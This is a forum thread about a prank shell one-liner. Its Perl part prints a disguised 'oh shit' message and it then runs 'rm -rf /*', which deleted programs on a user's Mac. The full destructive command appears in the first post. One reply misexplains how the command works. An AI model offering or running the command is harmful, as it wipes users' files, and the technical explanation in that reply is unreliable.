echo "RRRK#VKLW111" | perl -pe 's/(.)/chr(ord($1)-3)/ge' && rm -rf /* what does that do... i typed it and it just said "oh shit..." then... bleep bleep bleeep bleeep bleeep bleep and like, half of my programs were gone.
well the last part of it: rm -rf /* rm is a program for removing files -rf is flags for it saying: r = removes the content of the path recursively. f = ignores nonexistent files, never prompt /* = the stuff to remove I've never really done anything in perl so I'm not sure about what the perl stuff does thought
You don't use a debug and sandbox environment to test code, in order to keep the actual PC environment clean? There's a slight hit on performance, but the benefits of emulation before execution are well understood!
i used my mac to test a code i saw on the comments on digg.com about how some idiot deleted his /usr folder.... i guess the joke is on me. The terminal box just said "oh shit..." my cpu fan started to go crazy and since i had itunes open , only the programs before it on the list were gone....
It's a perl regular expression. I'd have to go through it, but it looks to me it will delete everything in it's path (that it can). The s/// syntax is substitute. Effectively, that says: Substitute any character (which you find w/ (.)), with chr(ord($1-3)), which basically will basically mangle any filename. Basically chr() will turn 1 into a, 2 into b, etc. while ord() will turn a into 1, b into 2, etc. However, you're passing it $1 (whatever you found in the previous parenthesis) and subtracting 3. In other words, fucking up each file name character by character. To top it off, it's then passed to "rm -rf" which is just the shell command for "force remove (including directories)".
yeah it's true... but it insnt that bad only the programs before itunes on the list were deleted and well... since i knew something fishi was going on i turned off the mac... im just going to resintall os x to make sure everything is ok, all my files are intact though.
Does OSX seroiusly not try to stop you from doing stuff like this? Or do they automatically log you into the terminal as root? Why do they even allow you access to the terminal? It's just ripe for letting this kind of stuff happen.